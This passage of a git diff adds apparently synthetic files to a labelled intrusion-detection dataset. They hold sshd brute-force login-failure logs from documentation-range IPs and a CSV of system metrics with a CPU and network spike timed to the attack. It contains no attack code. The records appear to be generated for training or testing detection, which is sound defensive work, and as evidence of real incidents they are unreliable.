+Sep 21 14:04:30 sshd[25436]: Failed password for ubuntu from 203.0.113.58 port 17272 ssh2 +Sep 21 14:04:30 sshd[25436]: Failed password for webmaster from 203.0.113.58 port 34198 ssh2 +Sep 21 14:04:31 sshd[25436]: Failed password for admin from 203.0.113.56 port 65034 ssh2 +Sep 21 14:04:31 sshd[25436]: Failed password for postgres from 203.0.113.55 port 20084 ssh2 +Sep 21 14:04:32 sshd[25436]: Failed password for ec2-user from 203.0.113.56 port 61425 ssh2 +Sep 21 14:04:32 sshd[25436]: Failed password for invalid user test from 203.0.113.58 port 48447 +Sep 21 14:04:33 sshd[25436]: Failed password for invalid user backup from 203.0.113.55 port 24966 +Sep 21 14:04:34 sshd[25436]: Failed password for invalid user ubuntu from 203.0.113.55 port 64095 +Sep 21 14:04:35 sshd[4875]: Failed password for backup from 203.0.113.55 port 45061 ssh2 +Sep 21 14:04:35 sshd[4875]: Failed password for invalid user admin from 203.0.113.55 port 42407 +Sep 21 14:04:35 sshd[4875]: Failed password for invalid user mssql from 203.0.113.55 port 56542 +Sep 21 14:04:35 sshd[4875]: Failed password for oracle from 203.0.113.58 port 16513 ssh2 +Sep 21 14:04:35 sshd[4875]: Failed password for root from 203.0.113.56 port 54587 ssh2 +Sep 21 14:04:35 sshd[4875]: Failed password for test from 203.0.113.56 port 60133 ssh2 +Sep 21 14:04:36 sshd[4875]: Failed password for user from 203.0.113.56 port 14536 ssh2 +Sep 21 14:04:37 sshd[4875]: Failed password for invalid user guest from 203.0.113.58 port 39295 +Sep 21 14:04:37 sshd[4875]: Failed password for invalid user service from 203.0.113.56 port 29864 +Sep 21 14:04:37 sshd[4875]: Failed password for invalid user ubuntu from 203.0.113.55 port 32861 +Sep 21 14:04:38 sshd[4875]: Failed password for test from 203.0.113.55 port 49836 ssh2 +Sep 21 14:04:38 sshd[4875]: Failed password for test from 203.0.113.56 port 17295 ssh2 +Sep 21 14:04:39 sshd[4875]: Failed password for invalid user ubuntu from 203.0.113.55 port 46868 +Sep 21 14:04:39 sshd[4875]: Failed password for oracle from 203.0.113.58 port 56968 ssh2 +Sep 21 14:04:39 sshd[4875]: Failed password for root from 203.0.113.56 port 23604 ssh2 +Sep 21 14:04:39 sshd[4875]: Failed password for service from 203.0.113.58 port 22969 ssh2 +Sep 21 14:04:40 sshd[19114]: Failed password for invalid user mssql from 203.0.113.55 port 21144 +Sep 21 14:04:40 sshd[19114]: Failed password for invalid user postgres from 203.0.113.55 port 17854 +Sep 21 14:04:41 sshd[19114]: Failed password for guest from 203.0.113.55 port 13535 ssh2 +Sep 21 14:04:41 sshd[19114]: Failed password for invalid user ec2-user from 203.0.113.58 port 65309 +Sep 21 14:04:41 sshd[19114]: Failed password for invalid user postgres from 203.0.113.55 port 56196 +Sep 21 14:04:41 sshd[19114]: Failed password for ubuntu from 203.0.113.58 port 22387 ssh2 +Sep 21 14:04:42 sshd[19114]: Failed password for admin from 203.0.113.56 port 35600 ssh2 +Sep 21 14:04:43 sshd[19114]: Failed password for invalid user guest from 203.0.113.55 port 29028 +Sep 21 14:04:43 sshd[19114]: Failed password for invalid user user from 203.0.113.58 port 62502 +Sep 21 14:04:43 sshd[19114]: Failed password for postgres from 203.0.113.55 port 15452 ssh2 +Sep 21 14:04:44 sshd[19114]: Failed password for admin from 203.0.113.55 port 23432 ssh2 +Sep 21 14:04:44 sshd[19114]: Failed password for admin from 203.0.113.55 port 58364 ssh2 +Sep 21 14:04:44 sshd[19114]: Failed password for invalid user sqladmin from 203.0.113.55 port 46442 +Sep 21 14:04:44 sshd[19114]: Failed password for test from 203.0.113.56 port 51067 ssh2 +Sep 21 14:04:44 sshd[19114]: Failed password for webmaster from 203.0.113.55 port 45944 ssh2 +Sep 21 14:04:45 sshd[5431]: Failed password for ftpuser from 203.0.113.58 port 60633 ssh2 +Sep 21 14:04:46 sshd[5431]: Failed password for invalid user backup from 203.0.113.55 port 62512 +Sep 21 14:04:46 sshd[5431]: Failed password for invalid user ec2-user from 203.0.113.58 port 12751 +Sep 21 14:04:46 sshd[5431]: Failed password for invalid user ftpuser from 203.0.113.56 port 40804 +Sep 21 14:04:46 sshd[5431]: Failed password for invalid user guest from 203.0.113.55 port 15977 +Sep 21 14:04:46 sshd[5431]: Failed password for oracle from 203.0.113.55 port 56062 ssh2 +Sep 21 14:04:46 sshd[5431]: Failed password for test from 203.0.113.58 port 47837 ssh2 +Sep 21 14:04:46 sshd[5431]: Failed password for webmaster from 203.0.113.58 port 12081 ssh2 +Sep 21 14:04:47 sshd[5431]: Failed password for invalid user sqladmin from 203.0.113.56 port 46668 +Sep 21 14:04:47 sshd[5431]: Failed password for invalid user webmaster from 203.0.113.58 port 26934 +Sep 21 14:04:47 sshd[5431]: Failed password for oracle from 203.0.113.55 port 20581 ssh2 +Sep 21 14:04:48 sshd[5431]: Failed password for backup from 203.0.113.56 port 40075 ssh2 +Sep 21 14:04:48 sshd[5431]: Failed password for ec2-user from 203.0.113.56 port 25754 ssh2 +Sep 21 14:04:48 sshd[5431]: Failed password for ftpuser from 203.0.113.56 port 15577 ssh2 +Sep 21 14:04:48 sshd[5431]: Failed password for guest from 203.0.113.55 port 45863 ssh2 +Sep 21 14:04:48 sshd[5431]: Failed password for invalid user service from 203.0.113.58 port 36436 +Sep 21 14:04:48 sshd[5431]: Failed password for sqladmin from 203.0.113.56 port 43946 ssh2 +Sep 21 14:04:49 sshd[5431]: Failed password for oracle from 203.0.113.55 port 63628 ssh2 +Sep 21 14:04:49 sshd[5431]: Failed password for root from 203.0.113.58 port 64044 ssh2 +Sep 21 14:04:49 sshd[5431]: Failed password for sqladmin from 203.0.113.55 port 49411 ssh2 +Sep 21 14:04:50 sshd[26543]: Failed password for invalid user oracle from 203.0.113.56 port 21512 +Sep 21 14:04:50 sshd[26543]: Failed password for oracle from 203.0.113.55 port 58823 ssh2 +Sep 21 14:04:51 sshd[26543]: Failed password for guest from 203.0.113.56 port 25068 ssh2 +Sep 21 14:04:51 sshd[26543]: Failed password for mssql from 203.0.113.56 port 32202 ssh2 +Sep 21 14:04:53 sshd[26543]: Failed password for invalid user ec2-user from 203.0.113.56 port 41080 +Sep 21 14:04:53 sshd[26543]: Failed password for user from 203.0.113.58 port 17507 ssh2 +Sep 21 14:04:54 sshd[26543]: Failed password for oracle from 203.0.113.55 port 14911 ssh2 +Sep 21 14:04:54 sshd[26543]: Failed password for user from 203.0.113.56 port 36467 ssh2 +Sep 21 14:04:55 sshd[22512]: Failed password for invalid user webmaster from 203.0.113.55 port 57538 +Sep 21 14:04:55 sshd[22512]: Failed password for ubuntu from 203.0.113.56 port 34683 ssh2 +Sep 21 14:04:56 sshd[22512]: Failed password for webmaster from 203.0.113.55 port 18358 ssh2 +Sep 21 14:04:57 sshd[22512]: Failed password for test from 203.0.113.55 port 52007 ssh2 +Sep 21 14:04:57 sshd[22512]: Failed password for webmaster from 203.0.113.56 port 61974 ssh2 +Sep 21 14:04:58 sshd[22512]: Failed password for oracle from 203.0.113.55 port 40320 ssh2 +Sep 21 14:04:59 sshd[22512]: Failed password for ftpuser from 203.0.113.55 port 22558 ssh2 +Sep 21 14:04:59 sshd[22512]: Failed password for ftpuser from 203.0.113.56 port 41775 ssh2 +Sep 21 14:04:59 sshd[22512]: Failed password for mssql from 203.0.113.56 port 53671 ssh2 +Sep 21 14:05:00 CRON[988]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Sep 21 14:05:00 sshd[1088]: Failed password for test from 203.0.113.56 port 42339 ssh2 +Sep 21 14:05:01 sshd[1088]: Failed password for invalid user mssql from 203.0.113.58 port 36430 +Sep 21 14:05:01 sshd[1088]: Failed password for invalid user oracle from 203.0.113.55 port 11420 +Sep 21 14:05:01 sshd[1088]: Failed password for invalid user root from 203.0.113.56 port 11614 +Sep 21 14:05:01 sshd[1088]: Failed password for invalid user root from 203.0.113.56 port 51481 +Sep 21 14:05:01 sshd[1088]: Failed password for postgres from 203.0.113.58 port 35816 ssh2 +Sep 21 14:05:01 sshd[1088]: Failed password for test from 203.0.113.58 port 47082 ssh2 +Sep 21 14:05:01 sshd[1088]: Failed password for ubuntu from 203.0.113.56 port 48507 ssh2 +Sep 21 14:05:02 sshd[1088]: Failed password for ftpuser from 203.0.113.56 port 54029 ssh2 +Sep 21 14:05:02 sshd[1088]: Failed password for guest from 203.0.113.56 port 57161 ssh2 +Sep 21 14:05:02 sshd[1088]: Failed password for root from 203.0.113.58 port 48589 ssh2 +Sep 21 14:05:03 sshd[1088]: Failed password for ftpuser from 203.0.113.55 port 29814 ssh2 +Sep 21 14:05:03 sshd[1088]: Failed password for invalid user ec2-user from 203.0.113.56 port 51443 +Sep 21 14:05:03 sshd[1088]: Failed password for invalid user ec2-user from 203.0.113.58 port 38451 +Sep 21 14:05:03 sshd[1088]: Failed password for invalid user webmaster from 203.0.113.56 port 56293 +Sep 21 14:05:03 sshd[1088]: Failed password for oracle from 203.0.113.55 port 45978 ssh2 +Sep 21 14:05:03 sshd[1088]: Failed password for test from 203.0.113.55 port 46160 ssh2 +Sep 21 14:05:04 sshd[1088]: Failed password for invalid user root from 203.0.113.56 port 42602 +Sep 21 14:05:04 sshd[1088]: Failed password for mssql from 203.0.113.56 port 24036 ssh2 +Sep 21 14:05:05 sshd[4085]: Failed password for admin from 203.0.113.58 port 21616 ssh2 +Sep 21 14:05:05 sshd[4085]: Failed password for ftpuser from 203.0.113.58 port 55926 ssh2 +Sep 21 14:05:05 sshd[4085]: Failed password for invalid user backup from 203.0.113.55 port 25986 +Sep 21 14:05:05 sshd[4085]: Failed password for invalid user postgres from 203.0.113.58 port 18835 +Sep 21 14:05:05 sshd[4085]: Failed password for test from 203.0.113.56 port 29733 ssh2 +Sep 21 14:05:06 sshd[4085]: Failed password for ftpuser from 203.0.113.58 port 37598 ssh2 +Sep 21 14:05:06 sshd[4085]: Failed password for invalid user root from 203.0.113.55 port 43095 +Sep 21 14:05:06 sshd[4085]: Failed password for ubuntu from 203.0.113.56 port 52553 ssh2 +Sep 21 14:05:07 sshd[4085]: Failed password for admin from 203.0.113.55 port 39323 ssh2 +Sep 21 14:05:07 sshd[4085]: Failed password for invalid user ftpuser from 203.0.113.56 port 26564 +Sep 21 14:05:07 sshd[4085]: Failed password for invalid user user from 203.0.113.56 port 43629 +Sep 21 14:05:07 sshd[4085]: Failed password for invalid user webmaster from 203.0.113.58 port 23958 +Sep 21 14:05:08 sshd[4085]: Failed password for backup from 203.0.113.56 port 56534 ssh2 +Sep 21 14:05:08 sshd[4085]: Failed password for guest from 203.0.113.55 port 65157 ssh2 +Sep 21 14:05:08 sshd[4085]: Failed password for invalid user guest from 203.0.113.58 port 22329 +Sep 21 14:05:08 sshd[4085]: Failed password for invalid user root from 203.0.113.56 port 36815 +Sep 21 14:05:08 sshd[4085]: Failed password for postgres from 203.0.113.55 port 15916 ssh2 +Sep 21 14:05:08 sshd[4085]: Failed password for test from 203.0.113.58 port 62684 ssh2 +Sep 21 14:05:08 sshd[4085]: Failed password for user from 203.0.113.58 port 16536 ssh2 +Sep 21 14:05:10 sshd[15946]: Failed password for invalid user ubuntu from 203.0.113.58 port 49807 +Sep 21 14:05:10 sshd[15946]: Failed password for webmaster from 203.0.113.55 port 45598 ssh2 +Sep 21 14:05:11 sshd[15946]: Failed password for ec2-user from 203.0.113.58 port 53374 ssh2 +Sep 21 14:05:11 sshd[15946]: Failed password for ftpuser from 203.0.113.56 port 63812 ssh2 +Sep 21 14:05:11 sshd[15946]: Failed password for invalid user guest from 203.0.113.56 port 55785 +Sep 21 14:05:11 sshd[15946]: Failed password for invalid user postgres from 203.0.113.55 port 52078 +Sep 21 14:05:11 sshd[15946]: Failed password for webmaster from 203.0.113.56 port 19013 ssh2 +Sep 21 14:05:12 sshd[15946]: Failed password for invalid user webmaster from 203.0.113.55 port 58929 +Sep 21 14:05:12 sshd[15946]: Failed password for sqladmin from 203.0.113.58 port 37495 ssh2 +Sep 21 14:05:13 sshd[15946]: Failed password for ftpuser from 203.0.113.58 port 61461 ssh2 +Sep 21 14:05:13 sshd[15946]: Failed password for invalid user admin from 203.0.113.58 port 17249 +Sep 21 14:05:13 sshd[15946]: Failed password for invalid user ftpuser from 203.0.113.58 port 55831 +Sep 21 14:05:13 sshd[15946]: Failed password for invalid user guest from 203.0.113.58 port 28399 +Sep 21 14:05:13 sshd[15946]: Failed password for invalid user sqladmin from 203.0.113.58 port 43766 +Sep 21 14:05:14 sshd[15946]: Failed password for admin from 203.0.113.55 port 50036 ssh2 +Sep 21 14:05:14 sshd[15946]: Failed password for invalid user backup from 203.0.113.55 port 21151 +Sep 21 14:05:14 sshd[15946]: Failed password for invalid user sqladmin from 203.0.113.58 port 16395 +Sep 21 14:05:14 sshd[15946]: Failed password for invalid user test from 203.0.113.55 port 60814 +Sep 21 14:05:14 sshd[15946]: Failed password for root from 203.0.113.58 port 37614 ssh2 +Sep 21 14:05:15 sshd[29118]: Failed password for ec2-user from 203.0.113.56 port 44653 ssh2 +Sep 21 14:05:16 sshd[29118]: Failed password for invalid user oracle from 203.0.113.55 port 51980 +Sep 21 14:05:16 sshd[29118]: Failed password for invalid user service from 203.0.113.55 port 43520 +Sep 21 14:05:17 sshd[29118]: Failed password for invalid user ubuntu from 203.0.113.58 port 40979 +Sep 21 14:05:17 sshd[29118]: Failed password for invalid user webmaster from 203.0.113.56 port 42817 +Sep 21 14:05:17 sshd[29118]: Failed password for webmaster from 203.0.113.58 port 52987 ssh2 +Sep 21 14:05:18 sshd[29118]: Failed password for admin from 203.0.113.58 port 59565 ssh2 +Sep 21 14:05:18 sshd[29118]: Failed password for backup from 203.0.113.56 port 21002 ssh2 +Sep 21 14:05:18 sshd[29118]: Failed password for invalid user ec2-user from 203.0.113.58 port 37796 +Sep 21 14:05:18 sshd[29118]: Failed password for invalid user postgres from 203.0.113.55 port 21331 +Sep 21 14:05:18 sshd[29118]: Failed password for invalid user test from 203.0.113.58 port 37759 +Sep 21 14:05:18 sshd[29118]: Failed password for invalid user user from 203.0.113.56 port 59015 +Sep 21 14:05:18 sshd[29118]: Failed password for oracle from 203.0.113.56 port 32521 ssh2 +Sep 21 14:05:18 sshd[29118]: Failed password for postgres from 203.0.113.56 port 28159 ssh2 +Sep 21 14:05:18 sshd[29118]: Failed password for user from 203.0.113.55 port 11987 ssh2 +Sep 21 14:05:19 sshd[29118]: Failed password for invalid user backup from 203.0.113.55 port 39977 +Sep 21 14:05:19 sshd[29118]: Failed password for invalid user guest from 203.0.113.55 port 54176 +Sep 21 14:05:19 sshd[29118]: Failed password for ubuntu from 203.0.113.55 port 57576 ssh2 +Sep 21 14:05:20 sshd[25267]: Failed password for invalid user service from 203.0.113.55 port 46712 +Sep 21 14:05:20 sshd[25267]: Failed password for invalid user webmaster from 203.0.113.56 port 42559 +Sep 21 14:05:20 sshd[25267]: Failed password for user from 203.0.113.58 port 15542 ssh2 +Sep 21 14:05:21 sshd[25267]: Failed password for invalid user backup from 203.0.113.58 port 39822 +Sep 21 14:05:21 sshd[25267]: Failed password for webmaster from 203.0.113.58 port 33250 ssh2 +Sep 21 14:05:23 sshd[25267]: Failed password for invalid user test from 203.0.113.58 port 28806 +Sep 21 14:05:24 sshd[25267]: Failed password for ec2-user from 203.0.113.56 port 57165 ssh2 +Sep 21 14:05:24 sshd[25267]: Failed password for invalid user user from 203.0.113.55 port 20880 +Sep 21 14:06:40 CRON[14357]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_7.csv b/mali_dataset/scenario_7/mali_7_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..560ab9b04adc2e796c416bd8e49c7b45d081d94e --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-10-05T08:30:00Z,11.74,30.27,19.31,0.81,1.45 +2025-10-05T08:30:05Z,11.97,37.01,24.5,0.89,1.59 +2025-10-05T08:30:10Z,9.23,34.81,11.32,1.46,1.55 +2025-10-05T08:30:15Z,8.47,34.51,11.53,1.12,0.96 +2025-10-05T08:30:20Z,10.07,30.13,19.15,1.29,1.9 +2025-10-05T08:30:25Z,13.8,33.47,19.7,1.13,1.11 +2025-10-05T08:30:30Z,14.69,30.76,24.93,1.37,1.12 +2025-10-05T08:30:35Z,5.13,36.61,24.76,0.72,1.73 +2025-10-05T08:30:40Z,7.44,30.65,20.95,1.34,1.02 +2025-10-05T08:30:45Z,8.78,39.17,21.96,0.57,0.77 +2025-10-05T08:30:50Z,11.66,35.95,15.19,0.9,1.52 +2025-10-05T08:30:55Z,8.89,38.12,19.25,0.85,1.85 +2025-10-05T08:31:00Z,6.43,39.17,15.2,0.51,1.68 +2025-10-05T08:31:05Z,6.44,31.42,23.05,1.16,1.97 +2025-10-05T08:31:10Z,11.69,30.76,14.54,1.13,1.9 +2025-10-05T08:31:15Z,12.22,39.53,10.57,0.96,0.79 +2025-10-05T08:31:20Z,11.22,31.67,18.68,0.63,0.98 +2025-10-05T08:31:25Z,5.73,31.78,11.23,0.66,1.71 +2025-10-05T08:31:30Z,6.05,31.28,18.1,1.17,1.67 +2025-10-05T08:31:35Z,7.91,30.44,20.39,1.1,0.89 +2025-10-05T08:31:40Z,8.7,30.1,14.9,0.78,1.56 +2025-10-05T08:31:45Z,10.28,34.56,10.34,0.54,1.61 +2025-10-05T08:31:50Z,8.8,38.51,22.18,1.26,1.09 +2025-10-05T08:31:55Z,9.59,37.82,10.7,0.8,1.22 +2025-10-05T08:32:00Z,12.03,30.21,19.35,1.13,1.36 +2025-10-05T08:32:05Z,13.33,34.22,12.85,1.18,1.99 +2025-10-05T08:32:10Z,10.83,33.45,23.06,1.32,0.7 +2025-10-05T08:32:15Z,9.08,37.94,22.97,0.78,0.7 +2025-10-05T08:32:20Z,14.83,37.91,10.65,1.45,0.55 +2025-10-05T08:32:25Z,13.49,30.01,11.81,1.26,1.64 +2025-10-05T08:32:30Z,13.1,34.73,11.86,1.33,1.88 +2025-10-05T08:32:35Z,6.25,37.98,23.8,0.61,0.68 +2025-10-05T08:32:40Z,5.12,33.49,19.42,1.05,1.32 +2025-10-05T08:32:45Z,7.11,38.34,24.34,0.56,0.65 +2025-10-05T08:32:50Z,6.43,32.42,11.68,0.84,1.75 +2025-10-05T08:32:55Z,7.94,30.91,15.79,1.46,0.92 +2025-10-05T08:33:00Z,14.86,35.08,12.55,1.37,1.51 +2025-10-05T08:33:05Z,8.38,31.94,23.57,0.7,1.96 +2025-10-05T08:33:10Z,14.65,35.23,18.95,1.03,1.0 +2025-10-05T08:33:15Z,10.22,39.27,15.35,1.47,1.67 +2025-10-05T08:33:20Z,11.05,33.35,13.63,17.66,1.73 +2025-10-05T08:33:25Z,20.09,34.66,15.49,13.2,3.22 +2025-10-05T08:33:30Z,20.73,37.95,10.62,29.8,2.21 +2025-10-05T08:33:35Z,32.68,38.62,18.27,14.69,2.55 +2025-10-05T08:33:40Z,37.45,31.38,21.17,14.76,2.14 +2025-10-05T08:33:45Z,36.64,34.01,11.03,13.65,2.2 +2025-10-05T08:33:50Z,45.79,38.12,17.22,22.71,1.98 +2025-10-05T08:33:55Z,53.6,36.74,20.66,21.5,2.76 +2025-10-05T08:34:00Z,52.62,39.37,14.33,15.86,2.24 +2025-10-05T08:34:05Z,59.06,39.62,23.7,11.58,2.74 +2025-10-05T08:34:10Z,62.05,36.48,20.9,14.01,1.44 +2025-10-05T08:34:15Z,69.35,33.1,14.88,22.72,2.29 +2025-10-05T08:34:20Z,79.27,39.15,11.72,17.61,1.84 +2025-10-05T08:34:25Z,77.35,34.14,11.44,10.96,2.74 +2025-10-05T08:34:30Z,77.75,38.6,10.83,23.9,2.7 +2025-10-05T08:34:35Z,83.27,32.39,18.13,17.86,3.38 +2025-10-05T08:34:40Z,89.46,33.11,15.85,28.16,1.29 +2025-10-05T08:34:45Z,85.97,37.27,14.02,22.59,2.33 +2025-10-05T08:34:50Z,84.58,31.28,21.55,15.22,1.75 +2025-10-05T08:34:55Z,91.14,33.55,19.26,10.17,1.18 +2025-10-05T08:35:00Z,85.77,31.6,10.47,18.31,2.86 +2025-10-05T08:35:05Z,87.13,33.5,13.74,18.14,3.14 +2025-10-05T08:35:10Z,83.95,34.36,10.16,13.65,2.82 +2025-10-05T08:35:15Z,89.32,39.62,17.68,28.12,2.21 +2025-10-05T08:35:20Z,82.58,34.01,11.04,13.3,2.32 +2025-10-05T08:35:25Z,81.24,34.21,19.56,23.98,1.72 +2025-10-05T08:35:30Z,79.12,30.8,22.92,13.25,2.64 +2025-10-05T08:35:35Z,73.05,30.78,13.21,11.99,2.41 +2025-10-05T08:35:40Z,66.74,32.61,19.4,22.4,3.26 +2025-10-05T08:35:45Z,64.76,38.58,11.14,28.92,2.24 +2025-10-05T08:35:50Z,59.68,30.5,24.1,22.25,2.26 +2025-10-05T08:35:55Z,54.94,32.77,17.29,15.02,2.42 +2025-10-05T08:36:00Z,49.66,36.31,11.07,26.59,2.08 +2025-10-05T08:36:05Z,43.36,32.9,20.79,29.98,2.79 +2025-10-05T08:36:10Z,43.65,33.76,16.37,11.04,2.84 +2025-10-05T08:36:15Z,36.75,33.45,14.17,27.59,3.05 +2025-10-05T08:36:20Z,27.35,36.16,19.63,25.91,3.02 +2025-10-05T08:36:25Z,21.77,30.79,11.27,14.13,1.98 +2025-10-05T08:36:30Z,13.05,39.87,21.94,18.15,2.29 +2025-10-05T08:36:35Z,12.2,35.42,10.88,20.66,2.25 +2025-10-05T08:36:40Z,5.55,35.7,10.55,0.92,1.44 +2025-10-05T08:36:45Z,10.92,35.33,15.96,0.98,0.64 +2025-10-05T08:36:50Z,8.66,33.69,19.5,0.85,1.04 +2025-10-05T08:36:55Z,14.44,37.84,10.88,1.25,1.18 +2025-10-05T08:37:00Z,5.32,30.26,21.81,0.69,1.34 +2025-10-05T08:37:05Z,11.88,34.78,13.78,0.52,2.0 +2025-10-05T08:37:10Z,12.16,30.55,15.41,1.34,1.52 +2025-10-05T08:37:15Z,6.67,30.54,11.41,1.3,1.31 +2025-10-05T08:37:20Z,6.73,31.06,12.94,1.06,1.87 +2025-10-05T08:37:25Z,5.5,34.38,24.31,1.21,1.59 diff --git a/mali_dataset/scenario_7/mali_7_7.log b/mali_dataset/scenario_7/mali_7_7.log new file mode 100644 index 0000000000000000000000000000000000000000..4e3abc338af5b7546d39a7d4128dd39dd4f41ec1 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_7.log @@ -0,0 +1,572 @@ +Oct 05 08:30:00 CRON[14784]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Oct 05 08:30:50 sshd[15081]: Accepted publickey for sys-monitor from 10.0.8.12 port 49152 ssh2 +Oct 05 08:31:15 sshd[28641]: Received disconnect from 10.0.8.12 port 49152:11: disconnected by user +Oct 05 08:31:40 CRON[6613]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Oct 05 08:33:20 CRON[20002]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) +Oct 05 08:33:20 sshd[20102]: Failed password for root from 198.51.100.11 port 45925 ssh2 +Oct 05 08:33:21 sshd[20102]: Failed password for ec2-user from 198.51.102.80 port 63693 ssh2 +Oct 05 08:33:21 sshd[20102]: Failed password for invalid user admin from 198.51.100.10 port 30634 +Oct 05 08:33:21 sshd[20102]: Failed password for invalid user oracle from 198.51.101.25 port 42718 +Oct 05 08:33:21 sshd[20102]: Failed password for invalid user webmaster from 198.51.101.25 port 53767 +Oct 05 08:33:22 sshd[20102]: Failed password for invalid user oracle from 198.51.101.25 port 53737 +Oct 05 08:33:23 sshd[20102]: Failed password for ftpuser from 198.51.102.80 port 10507 ssh2 +Oct 05 08:33:23 sshd[20102]: Failed password for sqladmin from 198.51.100.10 port 49676 ssh2 +Oct 05 08:33:24 sshd[20102]: Failed password for backup from 198.51.102.80 port 27718 ssh2 +Oct 05 08:33:25 sshd[7802]: Failed password for invalid user oracle from 198.51.100.10 port 63427 +Oct 05 08:33:25 sshd[7802]: Failed password for invalid user postgres from 198.51.102.80 port 45899 +Oct 05 08:33:25 sshd[7802]: Failed password for invalid user postgres from 198.51.102.80 port 64220 +Oct 05 08:33:26 sshd[7802]: Failed password for oracle from 198.51.101.25 port 39542 ssh2 +Oct 05 08:33:27 sshd[7802]: Failed password for invalid user guest from 198.51.101.25 port 53428 +Oct 05 08:33:27 sshd[7802]: Failed password for test from 198.51.102.80 port 64241 ssh2 +Oct 05 08:33:27 sshd[7802]: Failed password for user from 198.51.100.11 port 62735 ssh2 +Oct 05 08:33:28 sshd[7802]: Failed password for invalid user backup from 198.51.102.80 port 64079 +Oct 05 08:33:28 sshd[7802]: Failed password for invalid user service from 198.51.101.25 port 41242 +Oct 05 08:33:28 sshd[7802]: Failed password for invalid user webmaster from 198.51.102.80 port 51510 +Oct 05 08:33:28 sshd[7802]: Failed password for test from 198.51.101.25 port 60863 ssh2 +Oct 05 08:33:28 sshd[7802]: Failed password for webmaster from 198.51.100.10 port 45553 ssh2 +Oct 05 08:33:29 sshd[7802]: Failed password for invalid user admin from 198.51.102.80 port 13989 +Oct 05 08:33:29 sshd[7802]: Failed password for invalid user ec2-user from 198.51.102.80 port 53804 +Oct 05 08:33:29 sshd[7802]: Failed password for invalid user webmaster from 198.51.100.10 port 42006 +Oct 05 08:33:29 sshd[7802]: Failed password for mssql from 198.51.101.25 port 64808 ssh2 +Oct 05 08:33:30 sshd[18238]: Failed password for invalid user backup from 198.51.100.11 port 41387 +Oct 05 08:33:30 sshd[18238]: Failed password for invalid user ftpuser from 198.51.102.80 port 60173 +Oct 05 08:33:30 sshd[18238]: Failed password for invalid user webmaster from 198.51.100.10 port 10081 +Oct 05 08:33:30 sshd[18238]: Failed password for invalid user webmaster from 198.51.100.11 port 58685 +Oct 05 08:33:31 sshd[18238]: Failed password for ec2-user from 198.51.100.11 port 64082 ssh2 +Oct 05 08:33:31 sshd[18238]: Failed password for invalid user root from 198.51.100.11 port 56409 +Oct 05 08:33:31 sshd[18238]: Failed password for invalid user ubuntu from 198.51.100.10 port 49049 +Oct 05 08:33:31 sshd[18238]: Failed password for oracle from 198.51.101.25 port 39595 ssh2 +Oct 05 08:33:32 sshd[18238]: Failed password for guest from 198.51.102.80 port 16156 ssh2 +Oct 05 08:33:32 sshd[18238]: Failed password for webmaster from 198.51.101.25 port 44183 ssh2 +Oct 05 08:33:33 sshd[18238]: Failed password for invalid user mssql from 198.51.100.11 port 62628 +Oct 05 08:33:33 sshd[18238]: Failed password for invalid user sqladmin from 198.51.100.10 port 19475 +Oct 05 08:33:33 sshd[18238]: Failed password for invalid user sqladmin from 198.51.100.11 port 18285 +Oct 05 08:33:33 sshd[18238]: Failed password for invalid user test from 198.51.102.80 port 41392 +Oct 05 08:33:33 sshd[18238]: Failed password for mssql from 198.51.100.10 port 35730 ssh2 +Oct 05 08:33:33 sshd[18238]: Failed password for postgres from 198.51.100.10 port 49610 ssh2 +Oct 05 08:33:34 sshd[18238]: Failed password for invalid user test from 198.51.100.10 port 55207 +Oct 05 08:33:34 sshd[18238]: Failed password for service from 198.51.100.11 port 13732 ssh2 +Oct 05 08:33:35 sshd[1613]: Failed password for backup from 198.51.101.25 port 14685 ssh2 +Oct 05 08:33:36 sshd[1613]: Failed password for invalid user guest from 198.51.102.80 port 35325 +Oct 05 08:33:36 sshd[1613]: Failed password for invalid user test from 198.51.100.10 port 29425 +Oct 05 08:33:37 sshd[1613]: Failed password for ec2-user from 198.51.100.11 port 17086 ssh2 +Oct 05 08:33:37 sshd[1613]: Failed password for guest from 198.51.100.10 port 17849 ssh2 +Oct 05 08:33:37 sshd[1613]: Failed password for invalid user ec2-user from 198.51.101.25 port 33980 +Oct 05 08:33:37 sshd[1613]: Failed password for invalid user guest from 198.51.100.11 port 47353 +Oct 05 08:33:37 sshd[1613]: Failed password for invalid user root from 198.51.101.25 port 23214 +Oct 05 08:33:37 sshd[1613]: Failed password for sqladmin from 198.51.101.25 port 29223 ssh2 +Oct 05 08:33:40 sshd[23159]: Failed password for ubuntu from 198.51.100.11 port 45736 ssh2 +Oct 05 08:33:41 sshd[23159]: Failed password for invalid user webmaster from 198.51.101.25 port 52097 +Oct 05 08:33:41 sshd[23159]: Failed password for sqladmin from 198.51.101.25 port 21646 ssh2 +Oct 05 08:33:42 sshd[23159]: Failed password for mssql from 198.51.101.25 port 14163 ssh2 +Oct 05 08:33:42 sshd[23159]: Failed password for postgres from 198.51.100.11 port 41579 ssh2 +Oct 05 08:33:43 sshd[23159]: Failed password for invalid user ec2-user from 198.51.102.80 port 26451 +Oct 05 08:33:43 sshd[23159]: Failed password for invalid user test from 198.51.100.11 port 28032 +Oct 05 08:33:43 sshd[23159]: Failed password for invalid user webmaster from 198.51.102.80 port 11421 +Oct 05 08:33:44 sshd[23159]: Failed password for admin from 198.51.102.80 port 58757 ssh2 +Oct 05 08:33:44 sshd[23159]: Failed password for invalid user postgres from 198.51.102.80 port 15552 +Oct 05 08:33:45 sshd[5330]: Failed password for guest from 198.51.100.10 port 22773 ssh2 +Oct 05 08:33:45 sshd[5330]: Failed password for invalid user admin from 198.51.100.10 port 53999 +Oct 05 08:33:45 sshd[5330]: Failed password for invalid user guest from 198.51.100.10 port 61200 +Oct 05 08:33:45 sshd[5330]: Failed password for invalid user postgres from 198.51.100.11 port 32739 +Oct 05 08:33:45 sshd[5330]: Failed password for mssql from 198.51.100.10 port 37642 ssh2 +Oct 05 08:33:45 sshd[5330]: Failed password for mssql from 198.51.101.25 port 11725 ssh2 +Oct 05 08:33:45 sshd[5330]: Failed password for postgres from 198.51.100.11 port 60347 ssh2 +Oct 05 08:33:48 